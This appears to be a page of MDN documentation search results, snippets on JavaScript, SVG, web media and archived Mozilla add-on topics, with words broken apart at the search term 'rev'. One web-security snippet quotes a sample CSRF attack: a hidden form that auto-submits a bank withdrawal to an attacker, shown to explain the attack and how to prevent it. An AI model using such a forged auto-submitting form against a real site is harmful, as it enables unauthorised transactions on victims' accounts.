... var hasprop = { fee: 'fie foe fum' }; object.p
reventextensions(hasprop); object.issealed(hasprop); // === false // but make them all non-configurable // and the object becomes sealed.
Promise.prototype.then() - JavaScript
print helpful messages about how the code in this section will be run // before the string is actually processed by the mocked asynchronous code in the // p
revious then block.
...in the following example, the first then() will return 42 wrapped in a resolving promise even though the p
revious promise in the chain was rejected.
Comparing Reflect and Object methods - JavaScript
p
reventextensions() object.p
reventextensions() returns the object that is being made non-extensible.
... reflect.p
reventextensions() returns true if the object has been made non-extensible, and false if it has not.
String.prototype.split() - JavaScript
reversing a string using split() this is not a robust way to
reverse a string: const str = 'asdfghjkl' const str
reverse = str.split('').
reverse().join('') // 'lkjhgfdsa' // split() returns an array on which
reverse() and join() can be applied it doesn't work if the string contains grapheme clusters, even when using a unicode-aware split.
... (use, for example, es
rever instead.) const str = 'résumé' const str
reverse = str.split(/(?:)/u).
reverse().join('') // => "́emuśer" bonus: use === operator to test if the original string was a palindrome.
Symbol - JavaScript
it creates a new symbol each time: symbol('foo') === symbol('foo') // false the following syntax with the new operator will throw a typeerror: let sym = new symbol() // typeerror this p
revents authors from creating an explicit symbol wrapper object instead of a new symbol value and might be surprising as creating explicit wrapper objects around primitive data types is generally possible (for example, new boolean, new string and new number).
...this p
revents you from silently creating a new string property name from a symbol, for example.
TypedArray - JavaScript
typedarray.prototype.
reverse()
reverses the order of the elements of an array — the first becomes the last, and the last becomes the first.
... see also array.prototype.
reverse().
Uint16Array - JavaScript
uint16array.prototype.
reverse()
reverses the order of the elements of an array — the first becomes the last, and the last becomes the first.
... see also array.prototype.
reverse().
Uint32Array - JavaScript
uint32array.prototype.
reverse()
reverses the order of the elements of an array — the first becomes the last, and the last becomes the first.
... see also array.prototype.
reverse().
Uint8Array - JavaScript
uint8array.prototype.
reverse()
reverses the order of the elements of an array — the first becomes the last, and the last becomes the first.
... see also array.prototype.
reverse().
Uint8ClampedArray - JavaScript
uint8clampedarray.prototype.
reverse()
reverses the order of the elements of an array — the first becomes the last, and the last becomes the first.
... see also array.prototype.
reverse().
WeakRef - JavaScript
a weakref object lets you hold a weak reference to another object, without p
reventing that object from getting garbage-collected.
...a weak reference to an object is a reference that does not p
revent the object from being reclaimed by the garbage collector.
WebAssembly.Memory.prototype.grow() - JavaScript
return value the p
revious size of the memory, in units of webassembly pages.
... var memory = new webassembly.memory({initial:1, maximum:10}); we can then grow the instance by one page like so: const bytesperpage = 64 * 1024; console.log(memory.buffer.bytelength / bytesperpage); // "1" console.log(memory.grow(1)); // "1" console.log(memory.buffer.bytelength / bytesperpage); // "2" note the return value of grow() here is the p
revious number of webassembly pages.
Right shift (>>) - JavaScript
since the new leftmost bit has the same value as the p
revious leftmost bit, the sign bit (the leftmost bit) does not change.
...since the new leftmost bit has the same value as the p
revious leftmost bit, the sign bit (the leftmost bit) does not change.
new operator - JavaScript
(normally constructors don't return a value, but they can choose to do so if they want to override the normal object creation process.) you can always add a property to a p
reviously defined object.
... you can add a shared property to a p
reviously defined object type by using the function.prototype property.
this - JavaScript
in the above code example, function b's this is set to function a's this which is obj, so it remains set to obj even when called in a manner that would normally set its this to undefined or the global object (or any other method as in the p
revious example in the global execution context).
...in the p
revious example, we defined the function inline as the f member during the definition of o.
Template literals (Template strings) - JavaScript
started by "\0o" and followed by one or more digits, for example \0o251 this means that a tagged template like the following is problematic, because, per ecmascript grammar, a parser looks for valid unicode escape sequences, but finds malformed syntax: latex`\unicode` // throws in older ecmascript versions (es2016 and earlier) // syntaxerror: malformed unicode character escape sequence es2018
revision of illegal escape sequences tagged templates should allow the embedding of languages (for example dsls, or latex), where other escapes sequences are common.
... the ecmascript proposal template literal
revision (stage 4, to be integrated in the ecmascript 2018 standard) removes the syntax restriction of ecmascript escape sequences from tagged templates.
JavaScript
for complete beginners head over to our learning area javascript topic if you want to learn javascript but have no p
revious experience of javascript or programming.
... javascript guide javascript guide a much more detailed guide to the javascript language, aimed at those with p
revious programming experience either in javascript or another language.
Web audio codec guide - Web media technologies
g.722 audio is encoded using adaptive differential pulse code modulation (adpcm), in which each sample is represented not by its absolute value, but as a value indicating how much the new sample differs from the p
revious sample.
... when mp3-format audio is stored inside an mpeg container, the resulting file is also referred to as just an "mp3 file" or simply "mp3." files with the ubiquitous .mp3 extension are stored in what is perhaps the most widely distributed audio file format in the world, which is in large part responsible for the digital audio
revolution of the late 1990s and early 2000s.
Digital audio concepts - Web media technologies
as: any situation in which the listener expects precise audio reproduction and may have an ear for sound that's good enough to make out the intricate details of unaltered audio audio loops and samples used in music and sound effects production work situations in which audio clips or samples may be remixed and then compressed; using lossless audio for the mastering process avoids compressing p
reviously compressed data, resulting in additional quality loss factors that may recommend the use of lossy compression include: very large source audio constrained storage (either because the storage space is small, or because there's a large amount of sound to store into it) a need to constrain the network bandwidth required to broadcast the audio; this is especially important for live strea...
...the options tend to
revolve around choosing the method by which the encoder performs the encoding and how much time and processor power it's allowed to consume in order to do so.
Media container formats (file types) - Web media technologies
through quicktime, mac applications (including web browsers, through the quicktime plugin or direct quicktime integration) were able to read and write audio formats including aac, aiff, mp3, pcm, and qualcomm pu
revoice; and video formats including avi, dv, pixlet, prores, flac, cinepak, 3gp, h.261 through h.265, mjpeg, mpeg-1 and mpeg-4 part 2, sorenson, and many more.
...if you're going to be manipulating the media data, using an uncompressed format can improve performance, while using a lossless compressed format at least p
revent the accumulation of noise as compression artifacts are multiplied with each re-compression that occurs.
Performance fundamentals - Web Performance
applications that constantly fire timers or keep unnecessary animations running p
revent cpus from entering low-power mode.
...this will save battery life and p
revent users from cursing your name into the night sky.
Performance budgets - Web Performance
a performance budget is a limit to p
revent regressions.
... their primary goal is to p
revent regressions, but they can provide insights to forecast trends (i.e.
Add to Home screen - Progressive web apps (PWAs)
we can then use a handler like the one below to handle the installation: window.addeventlistener('beforeinstallprompt', (e) => { // p
revent chrome 67 and earlier from automatically showing the prompt e.p
reventdefault(); // stash the event so it can be triggered later.
...deferredprompt.prompt(); // wait for the user to respond to the prompt deferredprompt.userchoice.then((choiceresult) => { if (choiceresult.outcome === 'accepted') { console.log('user accepted the a2hs prompt'); } else { console.log('user dismissed the a2hs prompt'); } deferredprompt = null; }); }); }); so here we: call event.p
reventdefault() to stop chrome 67 and earlier from calling the install prompt automatically (this behavior changed in chrome 68).
How to make PWAs installable - Progressive web apps (PWAs)
p
revious overview: progressive next in the last article, we read about how the example application, js13kpwa, works offline thanks to its service worker, but we can go even further and allow users to install the web app on mobile and desktop browers that support doing so.
... p
revious overview: progressive next ...
Progressive web apps (PWAs)
progressive loadingin p
revious articles we covered apis that help us make our js13kpwa example a progressive web app: service workers, web manifests, notifications and push.
... everything below this point is left over from the old version of this page and will be
revamped as other content is overhauled.
transform - SVG: Scalable Vector Graphics
matrix(a,b,c,d,e,f) is equivalent to applying the transformation matrix:(acebdf001)\begin{pmatrix} a & c & e \\ b & d & f \\ 0 & 0 & 1 \end{pmatrix} which maps coordinates from a p
revious coordinate system into a new coordinate system by the following matrix equalities:(xnewcoordsysynewcoordsys1)=(acebdf001)(xp
revcoordsysyp
revcoordsys1)=(axp
revcoordsys+cyp
revcoordsys+ebxp
revcoordsys+dyp
revcoordsys+f1) \begin{pmatrix} x_{\mathrm{newcoordsys}} \\ y_{\mathrm{newcoordsys}} \\ 1 \end{pmatrix} = \begin{pmatrix} a & c & e \\ b & d & f \\ 0 & 0 & 1 \end{pmatrix} \begin{pmatrix} x_{\ma...
...thrm{p
revcoordsys}} \\ y_{\mathrm{p
revcoordsys}} \\ 1 \end{pmatrix} = \begin{pmatrix} a x_{\mathrm{p
revcoordsys}} + c y_{\mathrm{p
revcoordsys}} + e \\ b x_{\mathrm{p
revcoordsys}} + d y_{\mathrm{p
revcoordsys}} + f \\ 1 \end{pmatrix} example html,body,svg { height:100% } <svg viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg"> <rect x="10" y="10" width="30" height="20" fill="green" /> <!-- in the following example we are applying the matrix: [a c e] [3 -1 30] [b d f] => [1 3 40] [0 0 1] [0 0 1] which transform the rectangle as such: top left corner: oldx=10 oldy=10 newx = a * oldx + c * oldy + e = 3 * 10 - 1 * 10 + 30 = 50 newy = b * oldx + d * oldy + f = 1 * 10 + 3 * 10 + 40 = 80 top right corner: oldx=40 oldy=10 newx = a * oldx + c * oldy + e ...
SVG Attribute reference - SVG: Scalable Vector Graphics
svg attributes a to z a accent-height accumulate additive alignment-baseline allowreorder alphabetic amplitude arabic-form ascent attributename attributetype auto
reverse azimuth b basefrequency baseline-shift baseprofile bbox begin bias by c calcmode cap-height class clip clippathunits clip-path clip-rule color color-interpolation color-interpolation-filters color-profile color-rendering contentscripttype contentstyletype cursor cx cy d d decelerate descent diffuseconstant direction display divisor dominant-baselin...
...s height, result, width, x, y transfer function attributes type, tablevalues, slope, intercept, amplitude, exponent, offset animation attributes animation attribute target attributes attributetype, attributename animation timing attributes begin, dur, end, min, max, restart, repeatcount, repeatdur, fill animation value attributes calcmode, values, keytimes, keysplines, from, to, by, auto
reverse, accelerate, decelerate animation addition attributes additive, accumulate event attributes animation event attributes onbegin, onend, onrepeat document event attributes onabort, onerror, onresize, onscroll, onunload global event attributes oncancel, oncanplay, oncanplaythrough, onchange, onclick, onclose, oncuechange, ondblclick, ondrag, ondragend, ondragenter, ondragexit, ondraglea...
<marker> - SVG: Scalable Vector Graphics
html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <defs> <!-- arrowhead marker definition --> <marker id="arrow" viewbox="0 0 10 10" refx="5" refy="5" markerwidth="6" markerheight="6" orient="auto-start-
reverse"> <path d="m 0 0 l 10 5 l 0 10 z" /> </marker> <!-- simple dot marker definition --> <marker id="dot" viewbox="0 0 10 10" refx="5" refy="5" markerwidth="5" markerheight="5"> <circle cx="5" cy="5" r="5" fill="red" /> </marker> </defs> <!-- coordinate axes with a arrowhead in both direction --> <polyline points="10,10 10,90 90,90" fill="none" stroke="...
... value type: auto|auto-start-
reverse|<angle> ; default value: 0; animatable: yes preserveaspectratio this attribute defines how the svg fragment must be deformed if it is embedded in a container with a different aspect ratio.
<text> - SVG: Scalable Vector Graphics
value type: <length>|<percentage> ; default value: 0; animatable: yes dx shifts the text position horizontally from a p
revious text element.
... value type: <length>|<percentage> ; default value: none; animatable: yes dy shifts the text position vertically from a p
revious text element.
<tspan> - SVG: Scalable Vector Graphics
value type: <length>|<percentage> ; default value: none; animatable: yes dx shifts the text position horizontally from a p
revious text element.
... value type: <length>|<percentage> ; default value: none; animatable: yes dy shifts the text position vertically from a p
revious text element.
SVG 2 support in Mozilla - SVG: Scalable Vector Graphics
mented yet (bug 1318208) vector-effect has no effect within 3d rendering context implementation status unknown consider clip and overflow on svg document referenced by <image> implementation status unknown paths change notes b and b path commands implementation status unknown z and z path commands to add path coordinate data to p
revious command implementation status unknown not render <path>, <polygon> and <polyline> with no data implementation status unknown svgpathseg*, svganimatedpathdata and related methods removed from svgpathelement implementation status unknown d attribute as css property implementation status unknown basic shapes change notes pat...
...efox 26.0 / thunderbird 26.0 / seamonkey 2.23)) child keyword for <paint> values and marker properties implementation status unknown vector-effect property only none and non-scaling-stroke values are supported (bug 528332 (firefox 15 / thunderbird 15 / seamonkey 2.12), bug 1318208) arcs value for stroke-linejoin not implemented (bug 1239142) auto-start-
reverse value for <marker>'s orient attribute implemented (bug 879659) svgpaint removed implementation status unknown fill and stroke taking multiple paints implementation status unknown z-index not implemented (bug 360148 child(<integer>) paint value implementation status unknown display of zero-length subpaths depends on stroke-linecap att...
Fills and Strokes - SVG: Scalable Vector Graphics
« p
reviousnext » there are several ways to color shapes (including specifying attributes on the object) using inline css, an embedded css section, or an external css file.
...ify an external stylesheet for your css rules through normal xml-stylesheet syntax: <?xml version="1.0" standalone="no"?> <?xml-stylesheet type="text/css" href="style.css"?> <svg width="200" height="150" xmlns="http://www.w3.org/2000/svg" version="1.1"> <rect height="10" width="10" id="myrect"/> </svg> where style.css looks something like: #myrect { fill: red; stroke: black; } « p
reviousnext » ...
Positions - SVG: Scalable Vector Graphics
« p
reviousnext » in this article, we examine how scalable vector graphics (svg) represents the positions and sizes of objects within a drawing context, including coordinate system and what a "pixel" measurement means in a scalable context.
...then, for all processing of svg content: [...] "1cm" equals "35.43307px" (and therefore 35.43307 user units) « p
reviousnext » ...
SVG fonts - SVG: Scalable Vector Graphics
« p
reviousnext » when svg was specified, support for web fonts was not widespread in browsers.
...> <text font-family="super sans">my text uses super sans</text> option: reference a remote font the above mentioned font-face-uri element allows you to reference an external font, hence allowing greater re-usability: <font> <font-face font-family="super sans"> <font-face-src> <font-face-uri xlink:href="fonts.svg#super_sans" /> </font-face-src> </font-face> </font> « p
reviousnext » ...
Texts - SVG: Scalable Vector Graphics
« p
reviousnext » when talking about text in svg we have to differentiate two almost completely separate topics.
... </textpath> </text> <style><![cdata[ text{ dominant-baseline: hanging; font: 28px verdana, helvetica, arial, sans-serif; } ]]></style> </svg> « p
reviousnext » ...
Referer header: privacy and security concerns - Web security
the referrer problem the referer (sic) header contains the address of the p
revious web page from which a link to the currently requested page was followed, which has lots of fairly innocent uses including analytics, logging, or optimized caching.
... you should use post rather than get whe
rever possible, to avoid passing sensitive data to other locations via urls.
Types of attacks - Web security
ed: <form action="https://bank.example.com/withdraw" method="post"> <input type="hidden" name="account" value="bob"> <input type="hidden" name="amount" value="1000000"> <input type="hidden" name="for" value="mallory"> </form> <script>window.addeventlistener('domcontentloaded', (e) => { document.queryselector('form').submit(); }</script> there are a few techniques that should be used to p
revent this from happening: get endpoints should be idempotent—actions that enact a change and do not simply retrieve data should require sending a post (or other http method) request.
... for more p
revention tips, see the owasp csrf p
revention cheat sheet.
Web Components
web components aims to solve such problems — it consists of three main technologies, which can be used together to create versatile custom elements with encapsulated functionality that can be reused whe
rever you like without fear of code collisions.
... use your custom element whe
rever you like on your page, just like you would any regular html element.
Using the WebAssembly JavaScript API - WebAssembly
see webassembly debugging with firefox devtools for a video p
review.
... note: since an arraybuffer’s bytelength is immutable, after a successful memory.prototype.grow() operation the buffer getter will return a new arraybuffer object (with the new bytelength) and any p
revious arraybuffer objects become “detached”, or disconnected from the underlying memory they p
reviously pointed to.
port - Archive of obsolete content
due to bug 816272 the page-mod's removelistener() function does not p
revent the listener from receiving messages that are already queued.
Guides - Archive of obsolete content
contributor's guide getting started learn how to contribute to the sdk: getting the code, opening/taking a bug, filing a patch, getting
reviews, and getting help.
hotkeys - Archive of obsolete content
the following commonly used hotkey combinations will not pass amo
review: accel-z, accel-c, accel-x, accel-v or accel-q if you choose to use a key combination that's already defined, choose one which makes sense for the operation it will perform.
tabs - Archive of obsolete content
this means that if the user loads a page, loads a new page, then moves back to the p
revious page using the "back" button, the pageshow event is emitted when the user moves back to the p
revious page, while the load and ready events are not.
ui - Archive of obsolete content
you initialize a toolbar with an array of buttons and frames: var ui = require("sdk/ui"); var { actionbutton } = require("sdk/ui/button/action"); var { toolbar } = require("sdk/ui/toolbar"); var { frame } = require("sdk/ui/frame"); var p
revious = ui.actionbutton({ id: "p
revious", label: "p
revious", icon: "./icons/p
revious.png" }); var next = ui.actionbutton({ id: "next", label: "next", icon: "./icons/next.png" }); var play = ui.actionbutton({ id: "play", label: "play", icon: "./icons/play.png" }); var frame = ui.frame({ url: "./frame-player.html" }); var toolbar = ui.toolbar({ title: "player", items: [pre...
lang/functional - Archive of obsolete content
let { once } = require("sdk/lang/functional"); let setup = once(function (env) { // initializing important things console.log("successfully initialized " + env); return 1; // assume success and return 1 }); setup('dev'); // returns 1 // prints "successfully initialized dev" // future attempts to call this function just return the cached // value that was returned p
reviously setup('production'); // returns 1 // no print message is displayed since the function isn't executed parameters fn : function the function that will be executed only once inside the once wrapper.
ui/frame - Archive of obsolete content
if you know the target uri, you should use it, as this is more secure: it p
revents another window from intercepting messages that were intended for someone else.
ui/toolbar - Archive of obsolete content
you can supply three sorts of ui components: action buttons toggle buttons frames this add-on builds part of the user interface for a music player using action buttons for the controls and a frame to display art and the currently playing song: var { actionbutton } = require('sdk/ui/button/action'); var { toolbar } = require("sdk/ui/toolbar"); var { frame } = require("sdk/ui/frame"); var p
revious = actionbutton({ id: "p
revious", label: "p
revious", icon: "./icons/p
revious.png" }); var next = actionbutton({ id: "next", label: "next", icon: "./icons/next.png" }); var play = actionbutton({ id: "play", label: "play", icon: "./icons/play.png" }); var frame = new frame({ url: "./frame-player.html" }); var toolbar = toolbar({ title: "player", items: [p
revious, next...
Displaying annotations - Archive of obsolete content
', function onmessage(annotations) { annotations.foreach( function(annotation) { if(annotation.url == document.location.tostring()) { createanchor(annotation); } }); $('.annotated').css('border', 'solid 3px yellow'); $('.annotated').bind('mouseenter', function(event) { self.port.emit('show', $(this).attr('annotation')); event.stoppropagation(); event.p
reventdefault(); }); $('.annotated').bind('mouseleave', function() { self.port.emit('hide'); }); }); function createanchor(annotation) { annotationanchorancestor = $('#' + annotation.ancestorid); annotationanchor = $(annotationanchorancestor).parent().find( ':contains(' + annotation.anchortext + ')').last(); $(annotationanchor).addclass('annotated'); $(annotat...
Implementing the widget - Archive of obsolete content
ntent script the widget's content script just listens for left- and right- mouse clicks and posts the corresponding message to the add-on code: this.addeventlistener('click', function(event) { if(event.button == 0 && event.shiftkey == false) self.port.emit('left-click'); if(event.button == 2 || (event.button == 0 && event.shiftkey == true)) self.port.emit('right-click'); event.p
reventdefault(); }, true); save this in your data/widget directory as widget.js.
Alerts and Notifications - Archive of obsolete content
this works on windows, linux and (if growl is installed) mac os x: function popup(title, text) { try { components.classes['@mozilla.org/alerts-service;1'] .getservice(components.interfaces.nsialertsservice) .showalertnotification(null, title, text, false, '', null); } catch(e) { // p
revents runtime error on platforms that don't implement nsialertsservice } } if you need to display a comparable alert on a platform that doesn't support nsialertsservice, you can do this: function popup(title, msg) { var image = null; var win = components.classes['@mozilla.org/embedcomp/window-watcher;1'] .getservice(components.interfaces.nsiwindowwatcher) ...
JS XPCOM - Archive of obsolete content
with the preferences service from the p
revious example we can do the following: var preferences = preferences.queryinterface(components.interfaces.nsiprefbranch2); this allows you to use the methods in the nsiprefbranch2 interface.
Sidebar - Archive of obsolete content
for this snippet to work, you have to declare mainwindow as in the p
revious code block then write: mainwindow.document.getelementbyid("sidebar-splitter").hidden = true; be aware that if you change the splitter's hidden attribute, you need to reset it to a safe value when your sidebar is closed, or replaced by another sidebar.
Windows - Archive of obsolete content
re-using and focusing named windows while specifying the name parameter to window.open or window.opendialog will p
revent multiple windows of that name from opening, each call will actually re-initialize the window and thus lose whatever state the user has put it in.
xml:base support in old browsers - Archive of obsolete content
olpos+skipfile); // find first path separator ('/') after protocol if (att2 !== -1) { att = att.substring(0, att2 - 1); // don't want any trailing slash, as the absolute path to be added already has one } } else if (!att.match(/\/$/)) { // if no trailing slash, add one, since it is being attached to a relative path att += '/'; } xmlbase = att + xmlbase; // if p
revious path was not absolute, resolve against the full uri here' break; } else if (att.indexof('/') === 0) { // if absolute (/), need to prepare for next time to strip out after slash xmlbase = att + xmlbase; abs = true; // once the protocol is found on the next round, make sure any extra path is ignored } else { // if relative, just add it xmlbase = att + xmlbase; } ...
Displaying web content in an extension without security issues - Archive of obsolete content
er on the frame tag (meaning that it is outside the restricted document and can execute without restrictions): <iframe type="content" onclick="handleclick(event);"/> and the event handler would look like that: function handlebrowserclick(event) { // only react to left mouse clicks if (event.button != 0) return; // default action on link clicks is to go to this link, cancel it event.p
reventdefault(); if (event.target instanceof htmlanchorelement && event.target.href) openlinkinbrowser(event.target.href); } safe html manipulation functions when it comes to displaying the data, it is tempting to generate some html code and to insert it into the document via innerhtml.
Hiding browser chrome - Archive of obsolete content
var p
revfunc = xulbrowserwindow.hidechromeforlocation; xulbrowserwindow.hidechromeforlocation = function(alocation) { return (/* your test goes here */) || p
revfunc.apply(xulbrowserwindow, [alocation]); } this works by saving a reference to the current implementation of the hidechromeforlocation() method, then replacing it with a new method that calls through to the p
revious implementation.
Inline options - Archive of obsolete content
y the optionstype as 2: <em:optionsurl>chrome://myaddon/content/name_of_my_file_to_use_for_inline_opts.xul</em:optionsurl> <em:optionstype>2</em:optionstype> your chrome.manifest file should contain the following, otherwise the path chrome://myaddon/content/name_of_my_file_to_use_for_inline_opts.xul will not exist content myaddon ./ this method allows you to maintain compatibility with p
revious versions of firefox by adding an override to your chrome.manifest: ...
Migrating from Internal Linkage to Frozen Linkage - Archive of obsolete content
for errors about undeclared do_createinstance: #include "nscomponentmanagerutils.h" for errors about undeclared do_getservice: #include "nsservicemanagerutils.h" for errors about undeclared ns_getspecialdirectory: #include "nsdirectoryserviceutils.h" utility classes some utility classes could p
reviously be created with ns_new* utility functions.
Appendix F: Monitoring DOM changes - Archive of obsolete content
it is worth noting, however, that while the animation-based implementation will fire any time an element which p
reviously did not match the given selector is changed so that it does (when a class is added, for instance), the fallback will only match nodes when they are inserted into the dom tree.
Session store API - Archive of obsolete content
in order to properly restore your extension's state when a tab is restored, it needs to use the session store api's settabvalue() method to save any data it will need in order to restore its state, and then call gettabvalue() to retrieve the p
revious setting when the tab is restored.
Using the Stylesheet Service - Archive of obsolete content
vice;1"] .getservice(components.interfaces.nsistylesheetservice); var ios = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); var uri = ios.newuri("chrome://myext/content/myext.css", null, null); if(!sss.sheetregistered(uri, sss.user_sheet)) sss.loadandregistersheet(uri, sss.user_sheet); removing a p
reviously registered stylesheet if you wish to remove a stylesheet that you p
reviously registered, simply use the unregistersheet method.
XML data - Archive of obsolete content
p
revious section: svg next section: xbl binding information: xml data xml (extensible markup language) is a general-purpose language for any kind of structured data.
contents.rdf - Archive of obsolete content
ied by this theme --> <rdf:seq about="urn:mozilla:skin:root"> <rdf:li resource="urn:mozilla:skin:myskin/1.0" /> </rdf:seq> <rdf:description about="urn:mozilla:skin:myskin/1.0" chrome:displayname="my skin" chrome:accesskey="m" chrome:author="me" chrome:description="this is my custom skin for mozilla" chrome:name="myskin/1.0" chrome:image="p
review.png"> <chrome:packages> <rdf:seq about="urn:mozilla:skin:myskin/1.0:packages"> <rdf:li resource="urn:mozilla:skin:myskin/1.0:communicator"/> <rdf:li resource="urn:mozilla:skin:myskin/1.0:editor"/> <rdf:li resource="urn:mozilla:skin:myskin/1.0:global"/> <rdf:li resource="urn:mozilla:skin:myskin/1.0:messenger"/> <rdf:li resource="urn:mozilla:skin...
Creating regular expressions for a microsummary generator - Archive of obsolete content
for example, both of the following urls might point to the same page: http://www.example.com/index.html https://www.example.com/index.html to make a regular expression that matches both pages, we just need to start the expression with "https" and then add a question mark (?) after that string, for example: ^https?://www\.example\.com/index\.html the question mark makes the p
revious character optional, so the regular expression matches strings that include the "s" in "https" as well as ones that don't.
Embedding Mozilla in a Java Application using JavaXPCOM - Archive of obsolete content
first, the java application must find a suitable xulrunner installation: mozilla mozilla = mozilla.getinstance(); g
reversionrange[] range = new g
reversionrange[1]; range[0] = new g
reversionrange("1.8.0", true, "1.9", false); // work with trunk nightly version 1.9a1 ^^ try { file grepath = mozilla.getgrepathwithproperties(range, null); locationprovider locprovider = new locationprovider(grepath); mozilla.initembedding(grepath, grepath, locprovider); } catch (filenotfoundexception e) { // this e...
GRE Registration - Archive of obsolete content
each subkey is searched for gre registration information: hklm/software/mozilla.org/gre/1.8_1 version=1.8 grehome=c:\path\to\installed-dir feature=value feature2=value2 hklm/software/mozilla.org/gre/1.8_2 version=1.8 grehome=c:\path\to\second-installation when installing a gre via the mozilla suite gre installer, the installer will blindly overwrite any p
revious gre information in hklm/software/mozilla.org/gre/<version>.
Introducing the Audio API extension - Archive of obsolete content
we can extend the p
revious example to visualize the timestamp and the first two samples in a <div> element: <!doctype html> <html> <head> <title>javascript visualization example</title> </head> <body> <audio id="audio-element" src="
revolve.ogg" controls="true" style="width: 512px;"> </audio> <pre id="raw">hello</pre> <script> function loadedmetadata() { ...
Basics - Archive of obsolete content
blah(lengthstringfocusedstringtostringstringpopstringpushstring
reversestringshiftstringsortstringsplicestringunshiftstring)this is some default text lengththe number of open tabsstring focusedthe current tab in your browserstring tostringstuffstring popstuffstring pushstuffstring
reversestuffstring shiftstuffstring sortstuffstring splicestuffstring unshiftstuffstring onready()when the inherited document is fully loaded.
Microsummary topics - Archive of obsolete content
for example, you might include the following header in your response to p
revent firefox from making another microsummary-related request for one hour: cache-control: max-age=3600 note: because of a technical limitation (bug 346820), firefox uses the same cache for both microsummary-related requests and user-initiated requests, so the cache headers you return apply to both.
Nanojit - Archive of obsolete content
hence, guards are needed to p
revent certain erroneous behaviour that might result from the assumptions that are generally made while jit is generated.
BlogPosts - Archive of obsolete content
just browsing: mozilla prism update thanscorner: mozilla prism - webrunner with pazzaz mozilla prism - a
revolution in web apps thanscorner: mozilla webrunner 0.7 site specific browsers webrunner using webrunner webrunner + gears = offline desktop reader webrunner 0.5 webrunner 0.5 - mac support webrunner 0.5 - linux install webrunner, google reader, and google notebook distraction free gtd - 32+ web app files for online todo lists mozilla webrunner: a one-window, tabless browser with no url bar webrunner becomes prism - a mozilla labs project mozilla labs: prism alex faaborg: prism mozilla prism: bringing web apps to the desktop everyone should use site specific browsers mozilla prism portable (spanish) prism, l'avenir des applications web selon mozilla (french) mozilla prism : bundl...
Archived SpiderMonkey docs - Archive of obsolete content
between resolving conflicts, finding a good time to land, watching the tree, and marking bugs as fixed, it takes around half a day.spidermonkey coding conventionsthe spidermonkey project owners enforce coding conventions pretty strictly during code
reviews.
Supporting per-window private browsing - Archive of obsolete content
function pbobserver() { /* clear private data */ } var os = components.classes["@mozilla.org/observer-service;1"] .getservice(components.interfaces.nsiobserverservice); os.addobserver(pbobserver, "last-pb-context-exited", false); p
reventing a private session from ending if there are unfinished transactions involving private data, where the transactions will be terminated by the ending of a private session, an add-on can vote to p
revent the session from ending (prompting the user is recommended).
Table Layout Regression Tests - Archive of obsolete content
execute mozilla -layoutdebug - p foo >outputfile.txt execute the verify test make a note which tests have failed grep 'failed' outputfile.txt check how many tests have failed and analyze your results: if the regression tests have failed at the same place as the p
revious diagnosed false positives => ignore try to figure out what the other regressions are: are they improving the picture or are they regressions?
Tamarin Releases - Archive of obsolete content
upcoming release name(s)release datelinks tc next~ april 2009roadmap current release namerelease datelinks tc "mar 2009" a5c9ed928c9603/27/09tamarin-devel announcement prior release name(s)release datelinks tc "feb 2009" a5c9ed928c9602/19/09tamarin-devel announcement tamarin-central
rev 703:2cee46be9ce0 12/02/08tamarin-devel announcement ...
Tamarin mercurial commit hook - Archive of obsolete content
when a violation is found the following will be displayed: > hg commit -m "change with a tab" tab(s) found in test/test.txt for
rev 1458 (change 53543674b8e6): @@ -65,4 +65,6 @@ +# tab here ^ (n)o, (y)es, (a)llow tabs for current file are you sure you want to commit this change?
Using gdb on wimpy computers - Archive of obsolete content
/usr/lib/libstdc++-libc6.1-1.so.2 0x40491000 0x404ad9d8 yes /lib/libm.so.6 0x404ae000 0x405a285c yes /lib/libc.so.6 0x40000000 0x40013ed0 yes /lib/ld-linux.so.2 0x40607000 0x4061554c no /usr/lib/libz.so.1 0x40763000 0x4088af74 no /usr/lib/libgtk-1.2.so.0 0x4088b000 0x408c04d4 no /usr/lib/libgdk-1.2.so.0 [...] gdb is taking fo
rever to load a shared library.
Install script template - Archive of obsolete content
+ " to " + pluginsfolder + ":" + errblock1); cancelinstall(errblock1); } } else { logcomment("cancelling current browser install due to lack of space..."); cancellinstall(); } // secondary install block, which sets up plugins and xpt in another location in addition to the current browser errblock2 = createsecondaryinstall(); // performinstall block, in which error conditions from p
revious blocks are checked.
XPInstall API reference - Archive of obsolete content
xecute gestalt getcomponentfolder getfolder getlasterror getwinprofile getwinregistry initinstall loadresources logcomment patch performinstall refreshplugins registerchrome reseterror setpackagefolder installtrigger no properties methods compa
reversion enabled getversion install installchrome startsoftwareupdate installversion properties methods compareto init tostring file no properties methods copy dircreate dirgetparent dirremove dirrename diskspaceavailable execute ...
A XUL Bestiary - Archive of obsolete content
when you invoke mozilla from the command line with the -chrome flag, you can specify a chrome just as you would in the p
revious example: mozilla -chrome chrome://help/content/help.xul brings up the help package mentioned in the p
revious example as a "stand-alone" chrome.
browser.type - Archive of obsolete content
this boundary has a number of special effects, such as making window.top == window (unless the browser is added to a chrome document), and p
reventing documents from inheriting the principal of the parent document.
inverted - Archive of obsolete content
« xul reference home inverted type: boolean for boolean preferences, if this attribute is set to true, it indicates that the value of the preference is the
reverse of the user interface element attached to it.
reserved - Archive of obsolete content
reserved="true"/> if the keyboard shortcut for that is accel-t, then this code will not work as expected, as compared to when it is run from web content: document.addeventlistener("keydown", handlekey, true); function handlekey(event) { // listen for the "new tab" shortcut if (event.metakey && (event.key == "t")) { // log a message console.log("intercepted accel-t"); // p
revent the default browser action event.p
reventdefault(); event.stoppropagation(); } } currently, this event handler as coded above runs and logs the message, but the default behavior persists.
wait-cursor - Archive of obsolete content
in order to
revert to the normal cursor state call the method removeattribute("wait-cursor") when the process effectively has ended otherwise the wait cursor might never disappear.
Attribute (XUL) - Archive of obsolete content
onclosetab oncommand oncommandupdate ondialogaccept ondialogcancel ondialogclosure ondialogextra1 ondialogextra2 ondialoghelp onerror onerrorcommand onextra1 onextra2 oninput onload onnewtab onpageadvanced onpagehide onpagerewound onpageshow onpaneload onpopuphidden onpopuphiding onpopupshowing onpopupshown onsearchcomplete onselect ontextcommand ontextentered ontext
revert ontext
reverted onunload onwizardback onwizardcancel onwizardfinish onwizardnext open ordinal orient pack pageid pageincrement pagestep parent parsetype persist persistence phase pickertooltiptext placeholder popup position predicate preference preference-editable primary priority properties querytype readonly ref rel removeelement resizeafter resizebefore r...
Introduction to XUL - Archive of obsolete content
